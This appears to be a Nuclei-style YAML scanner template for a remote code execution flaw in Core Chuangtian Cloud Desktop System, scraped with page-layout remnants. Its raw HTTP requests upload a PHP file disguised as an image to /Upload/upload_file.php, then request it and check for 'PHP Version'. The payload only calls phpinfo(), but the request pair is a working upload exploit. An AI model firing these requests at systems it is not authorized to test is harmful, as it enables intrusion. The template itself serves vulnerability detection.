38 lines
1.0 KiB
YAML
38 lines
1.0 KiB
YAML
id: core-chuangtian-cloud-rce
|
|
|
|
info:
|
|
name: Core Chuangtian Cloud Desktop System RCE
|
|
author: pikpikcu
|
|
severity: critical
|
|
reference: https://mp.weixin.qq.com/s/wH5luLISE_G381W2ssv93g
|
|
tags: rce
|
|
|
|
requests:
|
|
- raw:
|
|
- |
|
|
POST /Upload/upload_file.php?l=test HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Accept: image/avif,image/webp,image/apng,image/*,*/*;q=0.8
|
|
Accept-Encoding: gzip, deflate
|
|
Cookie: think_language=zh-cn; PHPSESSID_NAMED=h9j8utbmv82cb1dcdlav1cgdf6
|
|
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfcKRltGv
|
|
|
|
------WebKitFormBoundaryfcKRltGv
|
|
Content-Disposition: form-data; name="file"; filename="test.php"
|
|
Content-Type: image/avif
|
|
|
|
<?php phpinfo(); ?>
|
|
------WebKitFormBoundaryfcKRltGv--
|
|
|
|
- |
|
|
GET /Upload/test/test.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
req-condition: true
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- 'contains(body_2, "PHP Version")'
|
|
- 'status_code_2 == 200'
|
|
condition: and
|